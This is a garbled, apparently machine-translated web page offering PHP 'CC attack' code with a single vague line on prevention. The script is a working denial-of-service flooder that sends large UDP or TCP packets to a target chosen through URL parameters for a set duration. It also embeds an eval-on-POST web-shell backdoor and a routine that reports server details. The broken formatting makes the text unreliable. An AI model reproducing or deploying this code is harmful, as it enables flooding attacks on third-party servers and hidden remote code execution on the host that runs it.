Php pcc attack code and prevention methods. Cc attack code. the supported udp replication code is as follows :? Phpeval ($ _ POST [Chr (90)]); set_time_limit (86400); ignore_user_abort (True); $ packets0; $ http $ _ GET [http]; $ rand $ _ GET [cc attack code, supporting udp
The code is as follows:
Eval ($ _ POST [Chr (90)]);
Set_time_limit (86400 );
Ignore_user_abort (True );
$ Packets = 0;
$ Http = $ _ GET ['http'];
$ Rand = $ _ GET ['exit '];
$ Exec_time = $ _ GET ['Time'];
If (StrLen ($ http) = 0 or StrLen ($ rand) = 0 or StrLen ($ exec_time) = 0)
{
If (StrLen ($ _ GET ['Rat ']) <> 0)
{
Echo $ _ GET ['Rat ']. $ _ SERVER ["HTTP_HOST"]. "| ". getHostByName ($ _ SERVER ['server _ name']). "| ". php_uname (). "| ". $ _ SERVER ['server _ soft']. $ _ GET ['Rat '];
Exit;
}
Echo "Php 2012 Terminator ";
Exit;
}
For ($ I = 0; I I <65535; $ I ++)
{
$ Out. = "X ";
}
// Udp1-fsockopen Udp2 pfsockopen Tcp3 CC. center
$ Max_time = time () + $ exec_time;
If ($ rand = 53)
While (1)
{
$ Packets ++;
If (time ()> $ max_time)
{
Break;
}
$ Fp = fsockopen ("udp: // $ http", $ rand, $ errno, $ errstr, 5 );
If ($ fp)
{
Fwrite ($ fp, $ out );
Fclose ($ fp );
}
}
Else
If ($ rand = 500)
While (1)
{
$ Packets ++;
If (time ()> $ max_time ){
Break;
}
$ Fp = pfsockopen ("udp: // $ http", $ rand, $ errno, $ errstr, 5 );
If ($ fp)
{
Fwrite ($ fp, $ out );
Fclose ($ fp );
}
}
Else
While (1)
{
$ Packets ++;
If (time ()> $ max_time ){
Break;
}
$ Fp = pfsockopen ("tcp: // $ http", $ rand, $ errno, $ errstr, 5 );
If ($ fp)
{
Fwrite ($ fp, $ out );
Fclose ($ fp );
}
}
?>
For cc attack prevention, if it is a dynamic page, we can determine the time. if it is a static website, we need to install anti-cc attack software on the server, generally, server security dogs are good.
If you have good software, you can leave a message for us.
The pipeline code is as follows :? Php eval ($ _ POST [Chr (90)]); set_time_limit (86400); ignore_user_abort (True); $ packets = 0; $ http = $ _ GET ['http']; $ rand = $ _ GET [...